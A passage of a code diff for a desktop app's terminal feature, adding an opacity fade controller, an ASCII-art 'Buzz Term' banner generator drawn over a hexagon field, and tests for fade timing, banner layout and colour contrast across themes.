animation.playbackRate,
|
||||||
|
REVEAL_DURATION_MS / CONCEAL_DURATION_MS,
|
||||||
|
);
|
||||||
|
assert.equal(calls.at(-1), "reverse");
|
||||||
|
assert.equal(calls[0].options.easing, FADE_EASING);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("fade durations are half the original timing", () => {
|
||||||
|
assert.equal(REVEAL_DURATION_MS, 360);
|
||||||
|
assert.equal(CONCEAL_DURATION_MS, 210);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("completed fades retain the timeline but release its compositor hint", async () => {
|
||||||
|
const { calls, completions, controller, surface } = fixture();
|
||||||
|
|
||||||
|
assert.equal(controller.toggle(false), "reveal");
|
||||||
|
completions[0].resolve();
|
||||||
|
await Promise.resolve();
|
||||||
|
assert.equal(surface.style.computedWillChange, surface.authored);
|
||||||
|
|
||||||
|
assert.equal(controller.toggle(false), "conceal");
|
||||||
|
assert.equal(calls.includes("cancel"), false);
|
||||||
|
assert.equal(surface.style.willChange, "opacity");
|
||||||
|
assert.equal(calls.filter((call) => typeof call === "object").length, 1);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a stale completion cannot release the hint during a reversal", async () => {
|
||||||
|
const { completions, controller, surface } = fixture();
|
||||||
|
|
||||||
|
controller.toggle(false);
|
||||||
|
controller.toggle(false);
|
||||||
|
completions[0].resolve();
|
||||||
|
await Promise.resolve();
|
||||||
|
assert.equal(surface.style.willChange, "opacity");
|
||||||
|
|
||||||
|
completions[1].resolve();
|
||||||
|
await Promise.resolve();
|
||||||
|
assert.equal(surface.style.computedWillChange, surface.authored);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("reduced motion settles immediately without allocating an animation", () => {
|
||||||
|
const { calls, controller, surface } = fixture();
|
||||||
|
assert.equal(controller.toggle(true), "reveal");
|
||||||
|
assert.equal(surface.style.opacity, "0");
|
||||||
|
assert.equal(surface.style.computedWillChange, surface.authored);
|
||||||
|
assert.deepEqual(calls, []);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('releasing the fade hint restores the authored will-change, not "auto"', async () => {
|
||||||
|
const { completions, controller, surface } = fixture();
|
||||||
|
|
||||||
|
// Before any fade the element is on the stylesheet's hint.
|
||||||
|
assert.equal(surface.style.computedWillChange, surface.authored);
|
||||||
|
|
||||||
|
controller.toggle(false);
|
||||||
|
assert.equal(surface.style.willChange, "opacity");
|
||||||
|
|
||||||
|
completions[0].resolve();
|
||||||
|
await Promise.resolve();
|
||||||
|
// The inline declaration must be REMOVED. Writing the literal "auto" would
|
||||||
|
// leave an inline value that outranks the stylesheet and permanently strips
|
||||||
|
// the surface's authored compositor hint after the first fade.
|
||||||
|
assert.equal(surface.style.willChange, "");
|
||||||
|
assert.equal(surface.style.computedWillChange, surface.authored);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('settle also restores the authored hint rather than pinning "auto"', () => {
|
||||||
|
const { controller, surface } = fixture();
|
||||||
|
controller.toggle(false);
|
||||||
|
assert.equal(surface.style.willChange, "opacity");
|
||||||
|
|
||||||
|
controller.settle("conceal");
|
||||||
|
assert.equal(surface.style.willChange, "");
|
||||||
|
assert.equal(surface.style.computedWillChange, surface.authored);
|
||||||
|
});
|
||||||
100
desktop/src/features/terminal/fadeController.ts
Normal file
100
desktop/src/features/terminal/fadeController.ts
Normal file
@@ -0,0 +1,100 @@
|
|||||||
|
export const REVEAL_DURATION_MS = 360;
|
||||||
|
export const CONCEAL_DURATION_MS = 210;
|
||||||
|
export const FADE_EASING = "cubic-bezier(.2,.8,.2,1)";
|
||||||
|
|
||||||
|
type Direction = "reveal" | "conceal";
|
||||||
|
|
||||||
|
type AnimationLike = {
|
||||||
|
currentTime: CSSNumberish | null;
|
||||||
|
playbackRate: number;
|
||||||
|
play(): void;
|
||||||
|
reverse(): void;
|
||||||
|
cancel(): void;
|
||||||
|
finished: Promise<unknown>;
|
||||||
|
};
|
||||||
|
|
||||||
|
type SurfaceLike = {
|
||||||
|
style: Pick<CSSStyleDeclaration, "opacity" | "willChange" | "removeProperty">;
|
||||||
|
animate(
|
||||||
|
keyframes: Keyframe[] | PropertyIndexedKeyframes | null,
|
||||||
|
options?: number | KeyframeAnimationOptions,
|
||||||
|
): AnimationLike;
|
||||||
|
};
|
||||||
|
|
||||||
|
/** One reversible opacity timeline; toggles never queue a second animation. */
|
||||||
|
export class FadeController {
|
||||||
|
#surface: SurfaceLike;
|
||||||
|
#animation: AnimationLike | null = null;
|
||||||
|
#direction: Direction = "conceal";
|
||||||
|
#token = 0;
|
||||||
|
|
||||||
|
constructor(surface: SurfaceLike) {
|
||||||
|
this.#surface = surface;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The fade owns `will-change` only for as long as it is animating. The app
|
||||||
|
* surface also carries an authored `will-change` for the huddle drawer
|
||||||
|
* transition, and an inline declaration outranks the stylesheet — so writing
|
||||||
|
* the literal `"auto"` does not "clear" the hint, it permanently replaces
|
||||||
|
* the drawer's. Removing the inline property hands the element back to CSS.
|
||||||
|
*/
|
||||||
|
#releaseHint(): void {
|
||||||
|
this.#surface.style.removeProperty("will-change");
|
||||||
|
}
|
||||||
|
|
||||||
|
settle(direction: Direction): void {
|
||||||
|
if (this.#animation) {
|
||||||
|
this.#token += 1;
|
||||||
|
this.#animation.cancel();
|
||||||
|
this.#animation = null;
|
||||||
|
}
|
||||||
|
this.#direction = direction;
|
||||||
|
this.#surface.style.opacity = direction === "reveal" ? "0" : "1";
|
||||||
|
this.#releaseHint();
|
||||||
|
}
|
||||||
|
|
||||||
|
toggle(reducedMotion: boolean): Direction {
|
||||||
|
const next = this.#direction === "reveal" ? "conceal" : "reveal";
|
||||||
|
if (reducedMotion) {
|
||||||
|
this.settle(next);
|
||||||
|
return next;
|
||||||
|
}
|
||||||
|
this.#direction = next;
|
||||||
|
this.#surface.style.willChange = "opacity";
|
||||||
|
if (!this.#animation) {
|
||||||
|
this.#animation = this.#surface.animate(
|
||||||
|
[{ opacity: 1 }, { opacity: 0 }],
|
||||||
|
{
|
||||||
|
duration: REVEAL_DURATION_MS,
|
||||||
|
easing: FADE_EASING,
|
||||||
|
fill: "both",
|
||||||
|
},
|
||||||
|
);
|
||||||
|
this.#animation.playbackRate = 1;
|
||||||
|
if (next === "conceal") {
|
||||||
|
this.#animation.currentTime = REVEAL_DURATION_MS;
|
||||||
|
this.#animation.playbackRate = REVEAL_DURATION_MS / CONCEAL_DURATION_MS;
|
||||||
|
this.#animation.reverse();
|
||||||
|
}
|
||||||
|
} else if (next === "reveal") {
|
||||||
|
this.#animation.playbackRate = 1;
|
||||||
|
this.#animation.play();
|
||||||
|
} else {
|
||||||
|
this.#animation.playbackRate = REVEAL_DURATION_MS / CONCEAL_DURATION_MS;
|
||||||
|
this.#animation.reverse();
|
||||||
|
}
|
||||||
|
const animation = this.#animation;
|
||||||
|
const token = ++this.#token;
|
||||||
|
void animation.finished
|
||||||
|
.then(() => {
|
||||||
|
if (this.#animation === animation && this.#token === token) {
|
||||||
|
this.#releaseHint();
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.catch(() => {
|
||||||
|
// Reversal/cancellation rejects `finished`; the live timeline owns state.
|
||||||
|
});
|
||||||
|
return next;
|
||||||
|
}
|
||||||
|
}
|
||||||
109
desktop/src/features/terminal/terminalBanner.test.mjs
Normal file
109
desktop/src/features/terminal/terminalBanner.test.mjs
Normal file
@@ -0,0 +1,109 @@
|
|||||||
|
import assert from "node:assert/strict";
|
||||||
|
import test from "node:test";
|
||||||
|
|
||||||
|
import { buildTerminalBanner } from "./terminalBanner.ts";
|
||||||
|
|
||||||
|
function layers(banner) {
|
||||||
|
return new Map(
|
||||||
|
["field", "head", "bevel_hi", "bevel_lo"].map((layer) => [
|
||||||
|
layer,
|
||||||
|
banner.cells.flat().filter((cell) => cell.layer === layer),
|
||||||
|
]),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function frameBounds(banner) {
|
||||||
|
const cells = banner.cells.flatMap((row, y) =>
|
||||||
|
row.flatMap((cell, x) =>
|
||||||
|
cell.layer === "bevel_hi" || cell.layer === "bevel_lo" ? [{ x, y }] : [],
|
||||||
|
),
|
||||||
|
);
|
||||||
|
return {
|
||||||
|
top: Math.min(...cells.map(({ y }) => y)),
|
||||||
|
left: Math.min(...cells.map(({ x }) => x)),
|
||||||
|
bottom: Math.max(...cells.map(({ y }) => y)) + 1,
|
||||||
|
right: Math.max(...cells.map(({ x }) => x)) + 1,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function headRows(banner) {
|
||||||
|
const cells = banner.cells.flatMap((row, y) =>
|
||||||
|
row.flatMap((cell, x) =>
|
||||||
|
cell.layer === "head" ? [{ ...cell, x, y }] : [],
|
||||||
|
),
|
||||||
|
);
|
||||||
|
const left = Math.min(...cells.map(({ x }) => x));
|
||||||
|
const right = Math.max(...cells.map(({ x }) => x));
|
||||||
|
const top = Math.min(...cells.map(({ y }) => y));
|
||||||
|
const bottom = Math.max(...cells.map(({ y }) => y));
|
||||||
|
return Array.from({ length: bottom - top + 1 }, (_, row) =>
|
||||||
|
Array.from(
|
||||||
|
{ length: right - left + 1 },
|
||||||
|
(_, column) =>
|
||||||
|
cells.find(({ x, y }) => x === left + column && y === top + row)
|
||||||
|
?.char ?? " ",
|
||||||
|
)
|
||||||
|
.join("")
|
||||||
|
.trimEnd(),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const EXPECTED_BUZZ_TERM = [
|
||||||
|
"██ ██",
|
||||||
|
"██▄▄▄ ██ ██ ██████ ██████ █████ ▄███▄ ██ ▄██ ██▄██▄██",
|
||||||
|
"██▀▀██ ██ ██ ▄██ ▄██ ██ ██▄▄▄█ ███▀▀ ██ ██ ██",
|
||||||
|
"██ ██ ██ ██ ▄██▀ ▄██▀ ██ ██ ██ ██ ██ ██",
|
||||||
|
"██████ ▀█████ ██████ ██████ ███ ▀███▀ ██ ██ ██ ██",
|
||||||
|
];
|
||||||
|
|
||||||
|
test("builds the amended four-layer Buzz Term composite", () => {
|
||||||
|
const banner = buildTerminalBanner(183, 69, 17 / 8.4);
|
||||||
|
assert.ok(banner);
|
||||||
|
const seen = layers(banner);
|
||||||
|
for (const layer of seen.keys()) assert.ok(seen.get(layer).length > 0, layer);
|
||||||
|
const head = seen.get("head");
|
||||||
|
const sweep = head.map((cell) => cell.t);
|
||||||
|
assert.equal(Math.min(...sweep), 0);
|
||||||
|
assert.equal(Math.max(...sweep), 1);
|
||||||
|
assert.ok(head.every((cell) => cell.layer === "head"));
|
||||||
|
const { top, left, bottom, right } = frameBounds(banner);
|
||||||
|
assert.equal(banner.cells[top][left].layer, "bevel_hi");
|
||||||
|
assert.equal(banner.cells[bottom - 1][right - 1].layer, "bevel_lo");
|
||||||
|
assert.deepEqual(headRows(banner), EXPECTED_BUZZ_TERM);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("requires every frame emitter independently", () => {
|
||||||
|
const banner = buildTerminalBanner(183, 69, 17 / 8.4);
|
||||||
|
assert.ok(banner);
|
||||||
|
const { top, left, bottom, right } = frameBounds(banner);
|
||||||
|
|
||||||
|
for (let x = left; x < right; x += 1)
|
||||||
|
assert.equal(banner.cells[top][x].layer, "bevel_hi", `top_row:${x}`);
|
||||||
|
for (let y = top + 1; y < bottom - 1; y += 1) {
|
||||||
|
assert.equal(banner.cells[y][left].layer, "bevel_hi", `left_rail:${y}`);
|
||||||
|
assert.equal(
|
||||||
|
banner.cells[y][right - 1].layer,
|
||||||
|
"bevel_lo",
|
||||||
|
`right_rail:${y}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
for (let x = left; x < right; x += 1)
|
||||||
|
assert.equal(
|
||||||
|
banner.cells[bottom - 1][x].layer,
|
||||||
|
"bevel_lo",
|
||||||
|
`bottom_row:${x}`,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("emits complete hexagons only and fades per ray", () => {
|
||||||
|
const banner = buildTerminalBanner(112, 46, 17 / 8.4);
|
||||||
|
assert.ok(banner);
|
||||||
|
const field = layers(banner).get("field");
|
||||||
|
assert.equal(field.length % 8, 0);
|
||||||
|
assert.ok(field.some((cell) => cell.t < 0.1));
|
||||||
|
assert.ok(field.some((cell) => cell.t > 0.5));
|
||||||
|
});
|
||||||
|
|
||||||
|
test("declines viewports too small for the complete wordmark", () => {
|
||||||
|
assert.equal(buildTerminalBanner(40, 20, 17 / 8.4), null);
|
||||||
|
});
|
||||||
276
desktop/src/features/terminal/terminalBanner.ts
Normal file
276
desktop/src/features/terminal/terminalBanner.ts
Normal file
@@ -0,0 +1,276 @@
|
|||||||
|
export type TerminalBannerLayer = "field" | "head" | "bevel_hi" | "bevel_lo";
|
||||||
|
|
||||||
|
export type TerminalBannerCell = Readonly<{
|
||||||
|
char: string;
|
||||||
|
layer?: TerminalBannerLayer;
|
||||||
|
t: number;
|
||||||
|
}>;
|
||||||
|
|
||||||
|
export type TerminalBanner = Readonly<{
|
||||||
|
cells: readonly (readonly TerminalBannerCell[])[];
|
||||||
|
}>;
|
||||||
|
|
||||||
|
const HEX = [
|
||||||
|
[0, 1, "_"],
|
||||||
|
[0, 2, "_"],
|
||||||
|
[1, 0, "/"],
|
||||||
|
[1, 3, "\\"],
|
||||||
|
[2, 0, "\\"],
|
||||||
|
[2, 1, "_"],
|
||||||
|
[2, 2, "_"],
|
||||||
|
[2, 3, "/"],
|
||||||
|
] as const;
|
||||||
|
|
||||||
|
const GLYPHS: Readonly<Record<string, readonly string[]>> = {
|
||||||
|
b: ["██ ", "██▄▄▄ ", "██▀▀██ ", "██ ██ ", "██████ "],
|
||||||
|
u: [" ", "██ ██ ", "██ ██ ", "██ ██ ", "▀█████ "],
|
||||||
|
z: [" ", "██████ ", " ▄██ ", " ▄██▀ ", "██████ "],
|
||||||
|
t: [" ██ ", "█████ ", " ██ ", " ██ ", " ███ "],
|
||||||
|
e: [" ", " ▄███▄ ", "██▄▄▄█ ", "██ ", " ▀███▀ "],
|
||||||
|
r: [" ", "██ ▄██ ", "███▀▀ ", "██ ", "██ "],
|
||||||
|
m: [" ", "██▄██▄██", "██ ██ ██", "██ ██ ██", "██ ██ ██"],
|
||||||
|
" ": [" ", " ", " ", " ", " "],
|
||||||
|
};
|
||||||
|
|
||||||
|
const INK_FRAME = {
|
||||||
|
topLeft: "▛",
|
||||||
|
topRight: "▜",
|
||||||
|
bottomLeft: "▙",
|
||||||
|
bottomRight: "▟",
|
||||||
|
top: "▀",
|
||||||
|
bottom: "▄",
|
||||||
|
left: "▌",
|
||||||
|
right: "▐",
|
||||||
|
} as const;
|
||||||
|
const LAYERS: readonly TerminalBannerLayer[] = [
|
||||||
|
"field",
|
||||||
|
"head",
|
||||||
|
"bevel_hi",
|
||||||
|
"bevel_lo",
|
||||||
|
];
|
||||||
|
type TerminalBannerEmitter =
|
||||||
|
| "field"
|
||||||
|
| "top_row"
|
||||||
|
| "left_rail"
|
||||||
|
| "right_rail"
|
||||||
|
| "bottom_row"
|
||||||
|
| "wordmark";
|
||||||
|
const EMITTERS: readonly TerminalBannerEmitter[] = [
|
||||||
|
"field",
|
||||||
|
"top_row",
|
||||||
|
"left_rail",
|
||||||
|
"right_rail",
|
||||||
|
"bottom_row",
|
||||||
|
"wordmark",
|
||||||
|
];
|
||||||
|
|
||||||
|
function trimRight(value: string): string {
|
||||||
|
return value.replace(/\s+$/, "");
|
||||||
|
}
|
||||||
|
|
||||||
|
function wordmark(gap: number): readonly string[] {
|
||||||
|
const rows = Array.from({ length: 5 }, () => "");
|
||||||
|
for (const [index, letter] of [..."buzz term"].entries()) {
|
||||||
|
const glyph = GLYPHS[letter];
|
||||||
|
for (let row = 0; row < rows.length; row += 1) {
|
||||||
|
rows[row] += glyph[row] + (index < 8 ? " ".repeat(gap) : "");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return rows.map(trimRight).filter((row) => row.trim());
|
||||||
|
}
|
||||||
|
|
||||||
|
function fitWordmark(columns: number): readonly string[] | null {
|
||||||
|
for (const gap of [3, 2, 1, 0]) {
|
||||||
|
const mark = wordmark(gap);
|
||||||
|
if (Math.max(...mark.map((row) => row.length)) <= columns) return mark;
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
function stableRandom(band: number, index: number): number {
|
||||||
|
let value = 2166136261;
|
||||||
|
for (const code of [...`${band}:${index}`].map((char) =>
|
||||||
|
char.charCodeAt(0),
|
||||||
|
)) {
|
||||||
|
value = Math.imul(value ^ code, 16777619);
|
||||||
|
}
|
||||||
|
return (value >>> 0) / 0xffffffff;
|
||||||
|
}
|
||||||
|
|
||||||
|
function completeHexes(columns: number, rows: number) {
|
||||||
|
const cells: { band: number; index: number; y: number; x: number }[] = [];
|
||||||
|
for (let band = 0, y = -2; y < rows; band += 1, y += 2) {
|
||||||
|
for (
|
||||||
|
let index = 0, x = -6 + (band % 2 ? 3 : 0);
|
||||||
|
x < columns;
|
||||||
|
index += 1, x += 6
|
||||||
|
) {
|
||||||
|
if (
|
||||||
|
HEX.every(
|
||||||
|
([dy, dx]) =>
|
||||||
|
y + dy >= 0 && y + dy < rows && x + dx >= 0 && x + dx < columns,
|
||||||
|
)
|
||||||
|
) {
|
||||||
|
cells.push({ band, index, y, x });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return cells;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function buildTerminalBanner(
|
||||||
|
columns: number,
|
||||||
|
rows: number,
|
||||||
|
cellAspect: number,
|
||||||
|
): TerminalBanner | null {
|
||||||
|
const mark = fitWordmark(columns - 10);
|
||||||
|
if (!mark || rows < mark.length + 6) return null;
|
||||||
|
|
||||||
|
const width = Math.max(...mark.map((row) => row.length));
|
||||||
|
const height = mark.length;
|
||||||
|
const paddingX = columns >= width + 24 ? 6 : 2;
|
||||||
|
const paddingY = rows >= height + 12 ? 2 : 1;
|
||||||
|
const innerWidth = Math.min(columns - 4, width + paddingX * 2);
|
||||||
|
const frameWidth = innerWidth + 2;
|
||||||
|
const frameHeight = height + paddingY * 2 + 2;
|
||||||
|
const left = Math.floor((columns - frameWidth) / 2);
|
||||||
|
const top = Math.floor((rows - frameHeight) / 2);
|
||||||
|
const centerX = left + frameWidth / 2;
|
||||||
|
const centerY = top + frameHeight / 2;
|
||||||
|
const grid: TerminalBannerCell[][] = Array.from({ length: rows }, () =>
|
||||||
|
Array.from({ length: columns }, () => ({ char: " ", t: 0 })),
|
||||||
|
);
|
||||||
|
const emitted = new Set<TerminalBannerEmitter>();
|
||||||
|
const put = (
|
||||||
|
y: number,
|
||||||
|
x: number,
|
||||||
|
char: string,
|
||||||
|
layer: TerminalBannerLayer,
|
||||||
|
t = 0,
|
||||||
|
emitter?: TerminalBannerEmitter,
|
||||||
|
) => {
|
||||||
|
if (y >= 0 && y < rows && x >= 0 && x < columns) {
|
||||||
|
grid[y][x] = { char, layer, t };
|
||||||
|
if (emitter) emitted.add(emitter);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const halfWidth = frameWidth / 2;
|
||||||
|
const halfHeight = (frameHeight / 2) * cellAspect;
|
||||||
|
const viewportHalfWidth = columns / 2;
|
||||||
|
const viewportHalfHeight = (rows / 2) * cellAspect;
|
||||||
|
for (const hex of completeHexes(columns, rows)) {
|
||||||
|
if (
|
||||||
|
HEX.some(
|
||||||
|
([offsetY, offsetX]) =>
|
||||||
|
hex.y + offsetY >= top - 1 &&
|
||||||
|
hex.y + offsetY < top + frameHeight + 1 &&
|
||||||
|
hex.x + offsetX >= left - 2 &&
|
||||||
|
hex.x + offsetX < left + frameWidth + 2,
|
||||||
|
)
|
||||||
|
) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const dx = hex.x + 1.5 - centerX;
|
||||||
|
const dy = (hex.y + 1 - centerY) * cellAspect;
|
||||||
|
const ellipse = Math.hypot(dx / halfWidth, dy / halfHeight);
|
||||||
|
if (ellipse <= 1) continue;
|
||||||
|
const viewport = Math.max(
|
||||||
|
Math.abs(dx) / viewportHalfWidth,
|
||||||
|
Math.abs(dy) / viewportHalfHeight,
|
||||||
|
);
|
||||||
|
const ray =
|
||||||
|
ellipse <= viewport
|
||||||
|
? 0
|
||||||
|
: Math.min(
|
||||||
|
1,
|
||||||
|
Math.max(0, (viewport * (ellipse - 1)) / (ellipse - viewport)),
|
||||||
|
);
|
||||||
|
if (
|
||||||
|
ray > 0.55 &&
|
||||||
|
stableRandom(hex.band, hex.index) < ((ray - 0.55) / 0.45) ** 1.3
|
||||||
|
)
|
||||||
|
continue;
|
||||||
|
for (const [offsetY, offsetX, char] of HEX)
|
||||||
|
put(hex.y + offsetY, hex.x + offsetX, char, "field", ray * ray, "field");
|
||||||
|
}
|
||||||
|
|
||||||
|
for (
|
||||||
|
let y = Math.max(0, top - 1);
|
||||||
|
y < Math.min(rows, top + frameHeight + 1);
|
||||||
|
y += 1
|
||||||
|
) {
|
||||||
|
for (
|
||||||
|
let x = Math.max(0, left - 2);
|
||||||
|
x < Math.min(columns, left + frameWidth + 2);
|
||||||
|
x += 1
|
||||||
|
)
|
||||||
|
grid[y][x] = { char: " ", t: 0 };
|
||||||
|
}
|
||||||
|
|
||||||
|
const frame = INK_FRAME;
|
||||||
|
put(top, left, frame.topLeft, "bevel_hi", 0, "top_row");
|
||||||
|
for (let x = 0; x < innerWidth; x += 1)
|
||||||
|
put(top, left + x + 1, frame.top, "bevel_hi", 0, "top_row");
|
||||||
|
put(top, left + frameWidth - 1, frame.topRight, "bevel_hi", 0, "top_row");
|
||||||
|
for (let y = top + 1; y < top + frameHeight - 1; y += 1) {
|
||||||
|
put(y, left, frame.left, "bevel_hi", 0, "left_rail");
|
||||||
|
put(y, left + frameWidth - 1, frame.right, "bevel_lo", 0, "right_rail");
|
||||||
|
}
|
||||||
|
put(
|
||||||
|
top + frameHeight - 1,
|
||||||
|
left,
|
||||||
|
frame.bottomLeft,
|
||||||
|
"bevel_lo",
|
||||||
|
0,
|
||||||
|
"bottom_row",
|
||||||
|
);
|
||||||
|
for (let x = 0; x < innerWidth; x += 1)
|
||||||
|
put(
|
||||||
|
top + frameHeight - 1,
|
||||||
|
left + x + 1,
|
||||||
|
frame.bottom,
|
||||||
|
"bevel_lo",
|
||||||
|
0,
|
||||||
|
"bottom_row",
|
||||||
|
);
|
||||||
|
put(
|
||||||
|
top + frameHeight - 1,
|
||||||
|
left + frameWidth - 1,
|
||||||
|
frame.bottomRight,
|
||||||
|
"bevel_lo",
|
||||||
|
0,
|
||||||
|
"bottom_row",
|
||||||
|
);
|
||||||
|
|
||||||
|
const markLeft = left + Math.floor((frameWidth - width) / 2);
|
||||||
|
const markTop = top + paddingY + 1;
|
||||||
|
const ink = mark.flatMap((row, y) =>
|
||||||
|
[...row].flatMap((char, x) => (char === " " ? [] : [{ char, x, y }])),
|
||||||
|
);
|
||||||
|
if (ink.length === 0) return null;
|
||||||
|
const minX = Math.min(...ink.map(({ x }) => x));
|
||||||
|
const maxX = Math.max(...ink.map(({ x }) => x));
|
||||||
|
const span = Math.max(1, maxX - minX);
|
||||||
|
for (const cell of ink)
|
||||||
|
put(
|
||||||
|
markTop + cell.y,
|
||||||
|
markLeft + cell.x,
|
||||||
|
cell.char,
|
||||||
|
"head",
|
||||||
|
(cell.x - minX) / span,
|
||||||
|
"wordmark",
|
||||||
|
);
|
||||||
|
|
||||||
|
const seen = new Map<TerminalBannerLayer, number[]>();
|
||||||
|
for (const row of grid)
|
||||||
|
for (const cell of row)
|
||||||
|
if (cell.layer)
|
||||||
|
seen.set(cell.layer, [...(seen.get(cell.layer) ?? []), cell.t]);
|
||||||
|
if (LAYERS.some((layer) => !seen.has(layer))) return null;
|
||||||
|
if (EMITTERS.some((emitter) => !emitted.has(emitter))) return null;
|
||||||
|
const sweep = seen.get("head") ?? [];
|
||||||
|
if (Math.min(...sweep) !== 0 || Math.max(...sweep) !== 1) return null;
|
||||||
|
|
||||||
|
return { cells: grid };
|
||||||
|
}
|
||||||
216
desktop/src/features/terminal/terminalBannerColor.test.mjs
Normal file
216
desktop/src/features/terminal/terminalBannerColor.test.mjs
Normal file
@@ -0,0 +1,216 @@
|
|||||||
|
import assert from "node:assert/strict";
|
||||||
|
import test from "node:test";
|
||||||
|
|
||||||
|
import { extractTerminalPalette } from "../../shared/theme/terminal-palette.ts";
|
||||||
|
import {
|
||||||
|
SYNTAX_THEMES,
|
||||||
|
loadThemeData,
|
||||||
|
} from "../../shared/theme/theme-loader.ts";
|
||||||
|
import {
|
||||||
|
bannerColor,
|
||||||
|
bannerStops,
|
||||||
|
stopsAreDistinct,
|
||||||
|
de00,
|
||||||
|
hex2rgb,
|
||||||
|
lab,
|
||||||
|
ratio,
|
||||||
|
} from "./terminalBannerColor.ts";
|
||||||
|
|
||||||
|
// Gates. contrast 4.5 is WCAG 2.2 SC 1.4.3 (body text); the rest are HOUSE
|
||||||
|
// thresholds with no external standard, sized by sweep.
|
||||||
|
const CONTRAST_MIN = 4.5;
|
||||||
|
const CHROMA_MIN = 16;
|
||||||
|
const HUE_MIN = 12;
|
||||||
|
const SRGB_MIN = 45;
|
||||||
|
const SAMPLES = 101;
|
||||||
|
|
||||||
|
const chroma = (h) => Math.hypot(lab(h).a, lab(h).b);
|
||||||
|
/** Hue-only CIEDE2000: both colours forced to a shared L, so lightness cannot
|
||||||
|
* rescue a pair that is one hue at two brightnesses. */
|
||||||
|
const hueDist = (a, b) => {
|
||||||
|
const p = lab(a),
|
||||||
|
q = lab(b),
|
||||||
|
L = (p.L + q.L) / 2;
|
||||||
|
return de00({ L, a: p.a, b: p.b }, { L, a: q.a, b: q.b });
|
||||||
|
};
|
||||||
|
const srgbDist = (a, b) =>
|
||||||
|
Math.hypot(...hex2rgb(a).map((v, i) => v - hex2rgb(b)[i]));
|
||||||
|
const minPair = (s, f) => Math.min(f(s[0], s[1]), f(s[1], s[2]), f(s[0], s[2]));
|
||||||
|
/** Signed short-arc hue step, in DEGREES. Degrees matter: the reversal
|
||||||
|
* deadband below is calibrated in them. */
|
||||||
|
const shortArcStep = (a, b) => {
|
||||||
|
const p = lab(a),
|
||||||
|
q = lab(b);
|
||||||
|
let d = (Math.atan2(q.b, q.a) - Math.atan2(p.b, p.a)) * (180 / Math.PI);
|
||||||
|
if (d > 180) d -= 360;
|
||||||
|
if (d < -180) d += 360;
|
||||||
|
return d;
|
||||||
|
};
|
||||||
|
// 8-bit output quantization jitters the hue angle by a few tenths of a degree,
|
||||||
|
// so sub-0.5deg steps are noise, not reversals. Counting them flagged 56 clean
|
||||||
|
// themes. The gate is the COUNT of real reversals, allowed up to 10% of samples.
|
||||||
|
const REVERSAL_DEADBAND_DEG = 0.5;
|
||||||
|
|
||||||
|
// Production loader + production extractor: the palettes under test are the
|
||||||
|
// ones the app actually renders, not a fixture that can drift from them.
|
||||||
|
async function palettes() {
|
||||||
|
const out = [];
|
||||||
|
for (const name of SYNTAX_THEMES) {
|
||||||
|
out.push([name, extractTerminalPalette(await loadThemeData(name))]);
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
const THEMES = await palettes();
|
||||||
|
|
||||||
|
test("every shipped theme is censused", () => {
|
||||||
|
assert.equal(THEMES.length, SYNTAX_THEMES.length);
|
||||||
|
assert.equal(THEMES.length, 62);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("wordmark holds contrast and chroma across the whole sweep, not just at the stops", () => {
|
||||||
|
// Dense sampling is load-bearing: an RGB lerp between opposing hues crosses
|
||||||
|
// the neutral axis, so the fade greys out mid-glyph while all three STOPS
|
||||||
|
// stay chromatic. Endpoint-only checks pass that bug. (kills M4)
|
||||||
|
const bad = [];
|
||||||
|
for (const [name, p] of THEMES) {
|
||||||
|
const { stops } = bannerStops(p);
|
||||||
|
for (let i = 0; i < SAMPLES; i++) {
|
||||||
|
const c = bannerColor(p, stops, "head", i / (SAMPLES - 1));
|
||||||
|
const cr = ratio(c, p.background);
|
||||||
|
if (cr < CONTRAST_MIN - 0.005)
|
||||||
|
bad.push(`${name} contrast ${cr.toFixed(2)}`);
|
||||||
|
if (chroma(c) < CHROMA_MIN)
|
||||||
|
bad.push(`${name} chroma ${chroma(c).toFixed(1)}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
assert.deepEqual(bad.slice(0, 8), [], `${bad.length} failures`); // kills M1, M2, M10, M11
|
||||||
|
});
|
||||||
|
|
||||||
|
test("themes whose own palette lacks three hues fall back to synthesis", () => {
|
||||||
|
// This is where the distinctness gate is OBSERVABLE. Asserting only that the
|
||||||
|
// returned stops pass the gate is vacuous — the gate is what produced them,
|
||||||
|
// and with it disabled the fallback still yields passing stops. What changes
|
||||||
|
// is WHICH themes take the fallback, so that is what gets pinned.
|
||||||
|
const synth = THEMES.filter(([, p]) => bannerStops(p).mode === "synth")
|
||||||
|
.map(([name]) => name)
|
||||||
|
.sort();
|
||||||
|
assert.deepEqual(synth, ["min-dark", "vesper"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("the three stops are distinct by hue AND by sRGB distance", () => {
|
||||||
|
// Conjunction, not either alone: sRGB counts lightness, so white vs #a0a0a0
|
||||||
|
// scores 165 while being hue-identical; hue alone would admit stops that
|
||||||
|
// differ in angle but barely in appearance.
|
||||||
|
const bad = [];
|
||||||
|
for (const [name, p] of THEMES) {
|
||||||
|
const { stops } = bannerStops(p);
|
||||||
|
const h = minPair(stops, hueDist),
|
||||||
|
d = minPair(stops, srgbDist);
|
||||||
|
if (h < HUE_MIN) bad.push(`${name} hue ${h.toFixed(1)}`);
|
||||||
|
